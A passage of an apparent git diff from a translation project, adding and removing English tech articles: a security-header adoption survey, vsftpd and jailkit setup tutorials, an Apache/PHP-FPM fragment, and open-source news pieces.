While it would be nice to see CSP’s adoption rates increase more, it is quite understandable as it is such a large undertaking for any website to create a compliant policy.
|
||||
|
||||
### November 2013 Results ###
|
||||
|
||||
#### X-XSS-Protection ####
|
||||
|
||||
This time around another header was added to the analysis. The Microsoft endorsed header was built to allow sites to control how Internet Explorer’s XSS Filtering feature is to be handled on a resource by resource basis. Valid values for X-XSS-Protection are as follows:
|
||||
|
||||
1. 0 – Disables XSS protections
|
||||
1. 1 – Enables XSS protections, in IE the filter will attempt to sanitize potential malicious characters.
|
||||
1. 1; mode=block – Enables XSS protections and instructs IE to block the response instead of sanitizing.
|
||||
1. 1; report=[url] – Allows reports to be sent to the specified URL of potential XSS attempts.
|
||||
|
||||
It should be noted that Google Chrome’s XSS Auditor will also be disabled if a resource responds with 0 as the value for the X-XSS-Protection header.
|
||||
|
||||
|
||||
|
||||
As previous readers will remember, invalid header values are a serious problem and X-XSS-Protection is no exception. Almost 480 sites incorrectly specified the value of “0; mode=block”. This means that 477 sites who think they are blocking XSS attacks are actively disabling the XSS protections built in to IE and Chrome. Please note that [YouTube][1] and [Blogspot][2] make up the majority of URLs using X-XSS-Protection with 14,210 for YouTube and 18,587 for Blogspot.
|
||||
|
||||
### X-Frame-Options ###
|
||||
|
||||
|
||||
|
||||
X-Frame-Options is still holding strong with SAMEORIGIN being by far the largest setting with YouTube again taking up the majority with 14,178 URLs all of which are set to SAMEORIGIN. Along with the jump in sites using X-Frame-Options we are also seeing an increase in invalid values being configured.
|
||||
|
||||
### Cross Origin Request Sharing (CORS) Headers ###
|
||||
|
||||
Once again we looked at the two CORS headers Access-Control-Allow-Origin and Access-Control-Allow-Credentials.
|
||||
|
||||
|
||||
|
||||
Unfortunately, we are still seeing a large number of sites incorrectly configuring Access-Control-Allow-Origin by specifying wildcards or multiple origins separated by various characters. As a reminder Access-Control-Allow-Origin only allows either * (wildcard value) or a single origin with a valid scheme specified.
|
||||
|
||||
As for Access-Control-Allow-Credentials, 1388 sites have set the value to true, 51 for false. Surprisingly, we identified 196 sites setting wildcard origin access but setting Access-Control-Allow-Credentials to true which is an invalid combination of settings.
|
||||
|
||||
### Strict-Transport-Security ###
|
||||
|
||||
Due to readers suggestions we have changed the long max-age value to be anything greater than 604800 seconds, or 7 days. Likewise, values below are considered to be a short max-age. [Facebook][3] and [Etsy][4] comprise 74 and 61 URLs respectively in the Max Age of 0 column. As a reminder, a header value of 0 clears the domain from the browser’s Strict Transport Security cache. Of the more interesting invalid values, a large number of sites incorrectly use ‘,’ as a delimiter between the max-age value and includeSubDomains directives. Unfortunately, both Firefox and Chrome are extremely strict in this regard and will refuse to add the site to the STS cache if the ‘,’ character is used instead of the RFC defined token of ‘;’. Once again, please check the RFCs before implementing any of these security headers.
|
||||
|
||||
|
||||
|
||||
#### Content-Security-Policy ####
|
||||
|
||||
Content Security Policy continues to grow in usage but extremely slowly. Only 269 sites are using the [w3 specification’s Content-Security-Policy][5] header, with 95 of these URLs coming from Facebook. Interestingly, 584 sites are using X-Content-Security-Policy and 487 sites are using X-Webkit-CSP. It should be noted that these two headers are already considered deprecated but have yet to be disabled. Only an extremely small number of sites using the report-only versions of the CSP headers were observed. It would be expected that web site operators wishing to test out CSP would use the report only mode to determine how Content Security Policy would impact their site, yet we only see 24 sites using Content-Security-Policy-Report-Only.
|
||||
|
||||
|
||||
|
||||
The most interesting result of the CSP analysis is the large number of sites which use CSP with the unsafe directives. It is assumed the reason unsafe-inline has such a high rate of usage is due to how extremely hard it is for developers to remove all inline script from web page elements. While disappointing to see, it is understandable to anyone who has attempted to enact a strict CSP policy.
|
||||
|
||||
### Conclusion ###
|
||||
|
||||
It is safe to say that we have a long way to go to making sure our sites use all available means to protect themselves. While security headers are only a small part of defense, applied appropriately they can and do help us all be more secure internet users. While encouraging to see the numbers increasing, we must keep in mind that less than 10% (199,350) of the 2,589,918 URLs analyzed have security headers. While strict adherence to RFCs is necessary, typos, combined with the rigidness of directive parsing, do not help site administrators or users when encountering these headers. While hope should not be given up on CSP, it’s extremely low adoption rate is rather concerning and it may be worth considering creation of tools to help create, verify and support site administrators that wish to adopt CSP.
|
||||
|
||||
As before, Veracode has released the raw data from this analysis, so feel free to download the November 2013 results here.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/
|
||||
[2]:http://www.blogspot.com/
|
||||
[3]:http://www.facebook.com/
|
||||
[4]:http://www.etsy.com/
|
||||
[5]:http://www.w3.org/TR/CSP/
|
||||
@ -1,31 +0,0 @@
|
||||
Senior researchers analyzed LibreOffice with interesting conclusions
|
||||
================================================================================
|
||||
Users, editors, state departments, teams and city administrations are enjoying [LibreOffice][1], free open-source office suite proving itself a clear success across the globe with more and more adoptions, more and more positive feedback.
|
||||
|
||||
While the users perceive LibreOffice as no-compromise and powerful, it seems that serious researchers have also found and described LibreOffice as a true success, as in the case of the "**Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?**" document, too.
|
||||
|
||||
Essentially, "Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?" is a research document [focused][2] on LibreOffice and its components, ranging from status to public perception, future capabilities, ability to attract supporters and contributors.
|
||||
|
||||
The conclusions of the mentioned document, while natural, talk about LibreOffice as a success on all fronts, conclusions such as:
|
||||
|
||||
- "The LibreOffice project, which was forked from the OpenOffice.org project, shows no sign of
|
||||
- long-term decline"
|
||||
- "LibreOffice has attracted the long-term and most active committers in OpenOffice.org"
|
||||
- "Open Source communities can outlive Open Source software projects"
|
||||
- "LibreOffice is perceived by its community as supportive, diversified, and independent"
|
||||
|
||||
|
||||
|
||||
The serious 60-pages-long document (available for download on [http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft...][3]) presents LibreOffice as detailed, being an in-depth accurate analysis of the robust office suite, document written by senior researchers from the University of Skövde’s Informatics Research Centre.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.libreoffice.org/
|
||||
[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744
|
||||
[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf
|
||||
@ -1,4 +1,3 @@
|
||||
Crowner's crown
|
||||
Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10
|
||||
================================================================================
|
||||
### mod_proxy_fcgi ###
|
||||
@ -206,4 +205,4 @@ via: http://www.binarytides.com/setup-apache-php-fpm-mod-proxy-fcgi-ubuntu/
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://issues.apache.org/bugzilla/show_bug.cgi?id=54101
|
||||
[2]:https://wiki.apache.org/httpd/PHP-FPM
|
||||
[2]:https://wiki.apache.org/httpd/PHP-FPM
|
||||
|
||||
@ -1,189 +0,0 @@
|
||||
Setup FTP Server On openSUSE 13.1
|
||||
================================================================================
|
||||
**vsftpd** (**V**ery **S**ecure **F**ile **T**ransport **P**rotocol **D**aemon) is a secure, fast FTP server for Unix/Linux systems. In this how-to article, let us see how to setup a basic FTP server using vsftpd on openSUSE 13.1.
|
||||
|
||||
### Install vsftpd ###
|
||||
|
||||
Login as root user and Enter the following the following command.
|
||||
|
||||
# zypper in vsftpd
|
||||
|
||||
Start vsftpd service and make it to start automatically on every reboot.
|
||||
|
||||
# systemctl enable vsftpd.service
|
||||
# systemctl start vsftpd.service
|
||||
|
||||
### Configure vsftpd ###
|
||||
|
||||
Create a folder for ftp users.
|
||||
|
||||
# mkdir /srv/ftp
|
||||
|
||||
Create a group called **ftp-users**.
|
||||
|
||||
# groupadd ftp-users
|
||||
|
||||
Let us create a sample user called unixmen with home directory **/srv/ftp** and group **ftp-users**.
|
||||
|
||||
# useradd -g ftp-users -d /srv/ftp/ unixmen
|
||||
|
||||
Set password for the new user.
|
||||
|
||||
# passwd unixmen
|
||||
|
||||
Make the ftp home directory **/srv/ftp/** accessible by ftp users.
|
||||
|
||||
# chmod 750 /srv/ftp/
|
||||
# chown unixmen:ftp-users /srv/ftp/
|
||||
|
||||
Edit file vsftpd.conf,
|
||||
|
||||
# nano /etc/vsftpd.conf
|
||||
|
||||
Make the changes as shown below.
|
||||
|
||||
[...]
|
||||
#Uncomment and Set YES to enable write.
|
||||
write_enable=YES
|
||||
[...]
|
||||
# Uncomment and Set banner name for your website
|
||||
ftpd_banner=Welcome to Unixmen FTP service.
|
||||
[...]
|
||||
# Uncomment
|
||||
ls_recurse_enable=YES
|
||||
[...]
|
||||
# Uncomment and set YES to allow local users to log in.
|
||||
local_enable=YES
|
||||
[...]
|
||||
# To disable anonymous access, set NO.
|
||||
anonymous_enable=NO
|
||||
[...]
|
||||
# Uncomment to enable ascii download and upload.
|
||||
ascii_upload_enable=YES
|
||||
ascii_download_enable=YES
|
||||
[...]
|
||||
## Add at the end of this file ##
|
||||
use_localtime=YES
|
||||
|
||||
Save and exit file.
|
||||
|
||||
### Test FTP Server Locally ###
|
||||
|
||||
First let us try to login to our FTP server as shown below.
|
||||
|
||||
# ftp localhost
|
||||
Trying ::1:21 ...
|
||||
Connected to localhost.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (localhost:root): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
As you in the above output, we will be able to login to ftp server using unixmen user.
|
||||
|
||||
### Test FTP Server Remotely ###
|
||||
|
||||
By default openSUSE built-in firewall won’t allow to login to FTP from remote systems. So let us allow vsftpd service through suse firewall. To do that go to **Yast -> Security and Users -> Firewall**.
|
||||
|
||||
|
||||
|
||||
In the Firewall section, go to **Allowed Services**. In the zone selection drop down box, select **External Zone** and in Service to Allow drop-down box, select **vsftpd server** and click add.
|
||||
|
||||
|
||||
|
||||
Click Next and close Yast Control center.
|
||||
|
||||
Now try to connect from a remote system.
|
||||
|
||||
I tried to login to FTP server from my ubuntu desktop.
|
||||
|
||||
sk@sk:~$ ftp 192.168.1.53
|
||||
Connected to 192.168.1.53.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (192.168.1.53:sk): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
As you see in the above output, I will be able to connect to FTP server. If you doesn’t allow the vsftpd service through firewall you will get a Connection timed out error.
|
||||
|
||||
### Connect from Browser ###
|
||||
|
||||
Open up your browser and Navigate to **ftp://ip-address/**. Enter the ftp user name and password.
|
||||
|
||||
|
||||
|
||||
### Connect to FTP server using FileZilla ###
|
||||
|
||||
Working from command-line mode might be little bit annoying to newbies. So let us install a graphical FTP client called [**Filezilla**][1] to get things done quite easier:
|
||||
|
||||
Mostly all distribution will have filezilla client in their official repository. To install filezilla on Linux based systems enter the following command:
|
||||
|
||||
On Ubuntu based systems:
|
||||
|
||||
$ sudo apt-get install filezilla
|
||||
|
||||
On Fedora/Redhat systems:
|
||||
|
||||
$ sudo yum install filezilla
|
||||
|
||||
On openSUSE:
|
||||
|
||||
# zypper in filezilla
|
||||
|
||||
After installing filezilla open it. Enter the ftp server IP address, user name and password and click quickconnect.
|
||||
|
||||
|
||||
|
||||
For added security, you can restrict FTP access to certain users by adding them to **/etc/vsftpd.chroot_list** file.
|
||||
|
||||
Edit vsftpd.conf file,
|
||||
|
||||
nano /etc/vsftpd.conf
|
||||
|
||||
Make the changes as shown below.
|
||||
|
||||
[...]
|
||||
# Uncomment and set YES
|
||||
chroot_local_user=YES
|
||||
chroot_list_enable=YES
|
||||
chroot_list_file=/etc/vsftpd.chroot_list
|
||||
[...]
|
||||
|
||||
Create **file /etc/vsftpd.chroot_list**,
|
||||
|
||||
nano /etc/vsftpd.chroot_list
|
||||
|
||||
Add the users that you want to give access to FTP server. I added the user **unixmen**.
|
||||
|
||||
unixmen
|
||||
|
||||
Restart ftp service.
|
||||
|
||||
# systemctl restart vsftpd.service
|
||||
|
||||
Now you will be able to connect to FTP server with users who are listed in the chroot list file.
|
||||
|
||||
If users other than in the chroot list want to access FTP server, they will get the following error.
|
||||
|
||||
500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list
|
||||
ftp: Login failed
|
||||
|
||||
That’s it for now. Your FTP server is ready to use. Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://filezilla-project.org/
|
||||
@ -1,221 +0,0 @@
|
||||
我不入监狱 谁入监狱
|
||||
|
||||
Setup a jailed shell with jailkit on ubuntu
|
||||
================================================================================
|
||||
### Jailed Shell and Jailkit ###
|
||||
|
||||
A jailed shell is a kind of limited shell that provides the user with a very real looking shell but does not allow him to mess with/view/modify any parts of the real file systems. The file system inside the shell is different from the actual file system of the underlying system. Such a functionality is achived through chroot and finds many kinds of applications. For example to setup a linux shell for users to just "play with". Or run some program with full functionality but in a limited environment and so on.
|
||||
|
||||
In this tutorial we are going to talk about setting up a jailed shell quickly with jailkit on ubuntu. Jailkit is helper program that allows to quickly setup a jailed shell, jail users inside it, and configure programs to run from the jailed environment.
|
||||
|
||||
Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
We have already discussed about installing jailkit on ubuntu so check out that post.
|
||||
|
||||
### Setup jailed shell ###
|
||||
|
||||
#### 1. Setup the jail environment ####
|
||||
|
||||
There needs to be a directory where the whole jail environment will be setup. Lets do it in /opt/jail. This can be whatever.
|
||||
|
||||
$ sudo mkdir /opt/jail
|
||||
|
||||
Root should own this directory. So chown it out.
|
||||
|
||||
$ sudo chown root:root /opt/jail
|
||||
|
||||
#### 2. Setup the programs to make available inside the jail ####
|
||||
|
||||
All the programs that need to be available in the jail need to be copied inside it using the jk_init command.
|
||||
|
||||
Example
|
||||
|
||||
$ sudo jk_init -v /jail basicshell
|
||||
$ sudo jk_init -v /jail editors
|
||||
$ sudo jk_init -v /jail extendedshell
|
||||
$ sudo jk_init -v /jail netutils
|
||||
$ sudo jk_init -v /jail ssh
|
||||
$ sudo jk_init -v /jail sftp
|
||||
$ sudo jk_init -v /jail jk_lsh
|
||||
|
||||
Or at one go
|
||||
|
||||
$ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp
|
||||
|
||||
The names like basicshell , editors , netutils are groups that contain multiple programs. Each group is a set of executable files, libraries etc to be copied into the shell. For example, the section **basicshell** provides many programs like bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep etc in the jail.
|
||||
|
||||
For a complete list of sections that can be setup, have a look at /etc/jailkit/jk_init.ini.
|
||||
|
||||
jk_lsh (Jailkit limited shell) - is an important section, and must be added.
|
||||
|
||||
#### 3. Create the user who will be jailed ####
|
||||
|
||||
Need a user to put inside the jail. Lets create one
|
||||
|
||||
$ sudo adduser robber
|
||||
Adding user `robber' ...
|
||||
Adding new group `robber' (1005) ...
|
||||
Adding new user `robber' (1006) with group `robber' ...
|
||||
Creating home directory `/home/robber' ...
|
||||
Copying files from `/etc/skel' ...
|
||||
Enter new UNIX password:
|
||||
Retype new UNIX password:
|
||||
passwd: password updated successfully
|
||||
Changing the user information for robber
|
||||
Enter the new value, or press ENTER for the default
|
||||
Full Name []:
|
||||
Room Number []:
|
||||
Work Phone []:
|
||||
Home Phone []:
|
||||
Other []:
|
||||
Is the information correct? [Y/n] y
|
||||
|
||||
Note that this is a normal user who is created in the actual filesystem and not inside the jail.
|
||||
In the next step this user shall be imprisoned inside the jail.
|
||||
|
||||
At this point if you take a look at /etc/passwd you get to see an entry at the end that looks like this
|
||||
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
This is our new user and the last part /bin/bash indicates that the user has a normal shell access on the system, if he logs in.
|
||||
|
||||
#### 4. Jail the user ####
|
||||
|
||||
Now its time to put the user inside the jail.
|
||||
|
||||
$ sudo jk_jailuser -m -j /opt/jail/ robber
|
||||
|
||||
By doing this the user robber has now been jailed.
|
||||
|
||||
Now if you take a look at /etc/passwd the last entry would look like this
|
||||
|
||||
robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh
|
||||
|
||||
Note that the last 2 parts that indicate the home user and the shell type have changed. The home directory of the user is now inside the jail environment at /opt/jail. The shell of the user is now a special program called jk_chrootsh that will provide the jailed shell.
|
||||
|
||||
It is this particular shell called jk_chrootsh that takes the user inside the jail, everytime he logs onto the system.
|
||||
|
||||
The jail setup by now is nearly done. But if you try to connect to id from ssh, it will fail like this :
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
|
||||
Last login: Sat Jun 23 12:45:13 2012 from localhost
|
||||
Connection to localhost closed.
|
||||
$
|
||||
|
||||
The connection shall close. This happens because the user actually has a limited shell.
|
||||
|
||||
#### 5. Give bash shell to user inside the jail ####
|
||||
|
||||
The next important thing to do is to give the user a proper bash shell, but inside the jail.
|
||||
Open the following file
|
||||
|
||||
/opt/jail/etc/passwd
|
||||
|
||||
Its the password file inside the jail. It would look somewhat like this
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh
|
||||
|
||||
Change the /usr/sbin/jk_lsh to /bin/bash
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
Save the file and exit.
|
||||
|
||||
#### 6. Login to the jail ####
|
||||
|
||||
So now its time to login into the jail again
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
|
||||
Last login: Sat Jun 23 12:46:01 2012 from localhost
|
||||
bash: groups: command not found
|
||||
I have no name!@desktop:~$
|
||||
|
||||
The jail says 'I have no name!' , ha ha. Now we have a fully functional bash shell but inside the jail.
|
||||
|
||||
Now check the environment by moving around. The root / of the jailed environment is /opt/jail of the real file system. But its only we who knows that, not the jailed user.
|
||||
|
||||
I have no name!@desktop:~$ cd /
|
||||
I have no name!@desktop:/$ ls
|
||||
bin dev etc home lib lib64 run usr var
|
||||
I have no name!@desktop:/$
|
||||
|
||||
Also only the commands that were copied via jk_cp sections will be available in this jail.
|
||||
|
||||
If the login fails, then check /var/log/auth.log for error messages.
|
||||
|
||||
Now try running some network command like wget or anything similar.
|
||||
|
||||
$ wget http://www.google.com/
|
||||
|
||||
If you get an error like this :
|
||||
|
||||
$ wget http://www.google.com/
|
||||
--2012-06-23 12:56:43-- http://www.google.com/
|
||||
Resolving www.google.com (www.google.com)... failed: Name or service not known.
|
||||
wget: unable to resolve host address `www.google.com'
|
||||
|
||||
Fix it by running the following 2 commands :
|
||||
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2
|
||||
|
||||
The exact location of the libnss_files.so and libnss_dns.so can vary so check.
|
||||
|
||||
### Running programs or services in the jail ###
|
||||
|
||||
Now the setup is complete. Jails are useful to run programs or services in a restricted/secure environments. To launch a program or daemon inside the jail use the **jk_chrootlaunch** command.
|
||||
|
||||
$ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail
|
||||
|
||||
The jk_chrootlaunch utility can be used to launch a particular process inside the jail environment with privileges of the specified user. If the daemon fails to start, check /var/log/syslog for error messages.
|
||||
|
||||
To run the program inside the jail, the program must first be fully copied inside the jail using the jk_cp command.
|
||||
|
||||
jk_cp - a utility to copy files including permissions and libraries into a jail
|
||||
|
||||
For further reading about various jailkit commands, check the documentation at [http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://olivier.sessink.nl/jailkit/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -0,0 +1,76 @@
|
||||
Software May Be Eating The World, But Open Source Software Is Eating Itself
|
||||
================================================================================
|
||||
**Nothing sits still for long in the world of open source.**
|
||||
|
||||
Software may be eating the world, as [Marc Andreessen posits][1], but open-source software seems to be eating itself. And at a far faster clip. While the software world has grown used to products and their vendors dominating for long stretches (think: Microsoft in operating systems and Oracle in databases), the new world of open source is moving at an accelerated, Darwinian pace, leaving no project to rest on its laurels.
|
||||
|
||||
In this fast-changing open source world, how should enterprises decide where to invest?
|
||||
|
||||
### Open Source Picks Up The Pace ###
|
||||
|
||||
Though [Dirk Riehle's analysis][2] of the total growth in open source projects is a few years old, if anything the trend he plots has [accelerated][3]:
|
||||
|
||||
|
||||
|
||||
Today much of the interesting code in technology’s most important markets—Big Data, cloud, mobile—is open source. With more activity focused on areas like Hadoop or OpenStack, we should expect the pace and volume of open code creation to increase.
|
||||
|
||||
Which may be good or bad.
|
||||
|
||||
### No Rest For The Open Source Developer ###
|
||||
|
||||
Take, for example, the configuration management market. Redmonk’s Stephen O’Grady sifts a number of data sources that measure the popularity of Chef, Puppet, Ansible and Salt, the latter two being very new to the market, yet demonstrating considerable community enthusiasm and adoption.
|
||||
|
||||
This prompts O’Grady to [speculate][4] that “Where it once was reasonable to conclude that the configuration management space would evolve in similar fashion to the open source relational database market—i.e. with two dominant projects—that future is now in question.”
|
||||
|
||||
O’Grady goes on to suggest:
|
||||
|
||||
> The most interesting conclusion to be taken from this brief look at a variety of community data sources, however, may well be the relevance of both Ansible and Salt. That these projects appear to have viable prospects in front of them speaks to the demand for solutions in the area, as well as the strong influence of personal preferences—e.g. the affinity for Salt amongst Python developers.
|
||||
|
||||
Actually, I’d argue that the most interesting conclusion is that no open-source project has guaranteed longevity. Puppet came out in 2005 and is still making headway against entrenched proprietary incumbents, yet now it has to fight off Chef (which came out four years later), Ansible (last two years) and Salt (last two years).
|
||||
|
||||
Yes, incumbents in any important market, proprietary or otherwise, will always have new market entrants nibbling at their heels. But in open source, the competition doesn’t wait for billion-dollar markets to form before it launches attacks. The rise of Salt and Ansible in a market already well-served by Chef and Puppet is a testament to this.
|
||||
|
||||
### The Community Giveth, And The Community Taketh Away ###
|
||||
|
||||
You will find this same dynamic in content management (Drupal vs. Joomla vs. Alfresco vs. Wordpress vs. countless other CMSes), cloud (Eucalyptus vs. OpenStack vs. CloudStack vs. CloudFoundry vs. OpenShift vs. many others), [web servers][5] and databases, both relational and NoSQL.
|
||||
|
||||
The ranks of open-source databases swell with new entrants almost daily, as can be seen on the [DB-Engines database tracking service][6]. Perhaps most interesting is the open-source relational database market. Up until recently, MySQL dominated that market. Postgres was a viable runner up to MySQL, but it was a very distant second.
|
||||
|
||||
Today things are in motion. Or commotion. Largely due to Oracle’s alleged fumbling of the MySQL community, Postgres is on a tear, booming even with the hipster crowd that welcomed MySQL. But so is MariaDB. Though still a comparative gnat, leading [Linux distributions like Red Hat’s Fedora and Ubuntu have embraced MariaDB][7], as has Google, replacing MySQL.
|
||||
|
||||
Perhaps, as O’Grady implies, this comes down to developer preferences. If developers rule, then little impedes them from switching to new projects that may fit their needs better, throwing a given market into disarray. If this is correct, it would explain why open source resists long term monopolies:
|
||||
|
||||
It’s hard to keep developers happy.
|
||||
|
||||
### Building A Community-Friendly Business ###
|
||||
|
||||
What does this mean for enterprises that are looking to make long-term investments on a given open-source project? An easy, if unsatisfying, answer is that enterprises should contribute to the projects they care about, ensuring their sustainability as well as giving the enterprise the ability to support themselves should the project dwindle.
|
||||
|
||||
But most enterprises don’t want to have to code the winner themselves.
|
||||
|
||||
Instead they should look for popular projects that are good technical fits for their enterprise requirements and that have strong communities. Popularity can be fleeting if a project grows callous to its community. One of the primary reasons Linux has endured so long at the top of the operating system heap is that it has been so accommodating to community influence and requirements.
|
||||
|
||||
Unfortunately, there’s no One True Way to measure vitality in an open source community. Some successful projects, like OpenStack, lean on a strong foundation. Others, like Linux, depend upon a strong individual and her lieutenants.
|
||||
|
||||
But all successful open-source projects that maintain their lead innovate quickly, with regular releases every few months. While a fast-moving project may be more difficult for enterprises to support, it may also be a key indication that the project will remain relevant.
|
||||
|
||||
How else should enterprises hedge against the risk of obsolescence of an open-source project?
|
||||
|
||||
Lede image courtesy of [Shutterstock][8].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://readwrite.com/2013/12/12/open-source-innovation
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://online.wsj.com/news/articles/SB10001424053111903480904576512250915629460
|
||||
[2]:http://dirkriehle.com/publications/2008-2/the-total-growth-of-open-source/
|
||||
[3]:http://www.techrepublic.com/blog/linux-and-open-source/driving-forces-behind-linux-and-open-source-growth/
|
||||
[4]:http://redmonk.com/sogrady/2013/12/06/configuration-management-2013/
|
||||
[5]:http://www.theregister.co.uk/2013/02/06/open_and_shut/
|
||||
[6]:http://db-engines.com/en/ranking
|
||||
[7]:http://www.zdnet.com/oracle-who-fedora-and-opensuse-will-replace-mysql-with-mariadb-7000010640/
|
||||
[8]:http://www.shutterstock.com/
|
||||
@ -1,38 +0,0 @@
|
||||
SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing
|
||||
================================================================================
|
||||
**Hands up if you don’t like open-source racing game SuperTuxKart? You, folks, are strange.**
|
||||
|
||||
As kart-racers go, it’s one of the most popular freely available. And for good reason: it’s fun, easy to play and has a dedicated team of developers who are continually adding to and improving what is already a really polished game.
|
||||
|
||||
But it’s getting even better. The first release candidate of build 0.8.1 – the first update since last year’s 0.8 build – [has been made available for testing][1] (for ‘testing’ see ‘excuse to play it for hours and not feel guilty’).
|
||||
|
||||
SuperTuxKart 0.8.1 adds a number of improvements, including:
|
||||
|
||||
- A new Star Trek themed track “STK Enterprise”
|
||||
- Three tracks updated (‘Old Mines’, ‘Lighthouse’ & ‘Zen Garden’)
|
||||
- New ‘Egg Hunt’ and ‘Soccer’ modes
|
||||
- New and updated karts
|
||||
- New difficulty level
|
||||
- Bubblegum shield weapon
|
||||
- Option to save and resume Grand Prix mode
|
||||
- [WiiMote Support][2]
|
||||
|
||||
### Geting SuperTuxKart 0.8.1 ###
|
||||
|
||||
No release date has been given on when to expect the final, stable release of 0.8.1 but I’d expect it to land sometime in December – marking one year from the previous release in the 0.8.x series.
|
||||
|
||||
In the meantime, if you’re okay with “Release Candidate”-quality software, you’ll find a pre-compiled binary for Linux over on the project’s Sourceforge Page.
|
||||
|
||||
- [Download SuperTuxKart 0.8.1 Release Candidate][3]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/supertux-kart-0-8-1-release-candidate
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://supertuxkart.blogspot.co.uk/2013/11/supertuxkart-081-rc1.html
|
||||
[2]:http://supertuxkart.net/Wiimote
|
||||
[3]:http://sourceforge.net/projects/supertuxkart/files/SuperTuxKart/0.8.1-rc1/
|
||||
@ -0,0 +1,100 @@
|
||||
(翻译中 by runningwater)
|
||||
